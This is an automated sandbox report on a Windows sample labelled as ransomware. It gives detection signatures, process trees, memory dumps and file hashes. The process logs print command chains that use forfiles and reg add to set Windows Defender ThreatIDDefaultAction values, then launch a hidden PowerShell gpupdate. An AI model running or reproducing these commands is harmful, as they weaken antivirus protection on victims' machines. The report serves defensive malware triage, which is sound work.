Analysis Overview
SHA256
d052b74c87dd082fa1ccc32b8441e63e433a60c69b21174ccf43f7f134a725e0
Threat Level: Likely malicious
The file 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware was found to be: Likely malicious.
Malicious Activity Summary
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Drops file in System32 directory
Enumerates physical storage devices
Program crash
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-10 13:22
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-10 13:22
Reported
2024-06-10 13:25
Platform
win10v2004-20240508-en
Max time kernel
51s
Max time network
59s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3420 -ip 3420
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 648
Network
Files
memory/5072-0-0x0000000002480000-0x00000000024B6000-memory.dmp
memory/5072-1-0x0000000004F20000-0x0000000005548000-memory.dmp
memory/5072-2-0x0000000004EE0000-0x0000000004F02000-memory.dmp
memory/5072-3-0x00000000056C0000-0x0000000005726000-memory.dmp
memory/5072-4-0x0000000005730000-0x0000000005796000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fij3sn0h.g3w.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5072-14-0x00000000058A0000-0x0000000005BF4000-memory.dmp
memory/5072-15-0x0000000005D60000-0x0000000005D7E000-memory.dmp
memory/5072-16-0x0000000005E00000-0x0000000005E4C000-memory.dmp
memory/5072-17-0x0000000006F30000-0x0000000006FC6000-memory.dmp
memory/5072-18-0x0000000006290000-0x00000000062AA000-memory.dmp
memory/5072-19-0x00000000062E0000-0x0000000006302000-memory.dmp
memory/5072-20-0x0000000007580000-0x0000000007B24000-memory.dmp
memory/3420-23-0x0000000010000000-0x00000000105E8000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-10 13:22
Reported
2024-06-10 13:25
Platform
win7-20231129-en
Max time kernel
120s
Max time network
122s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 608
Network
Files
memory/2200-2-0x0000000010000000-0x00000000105E8000-memory.dmp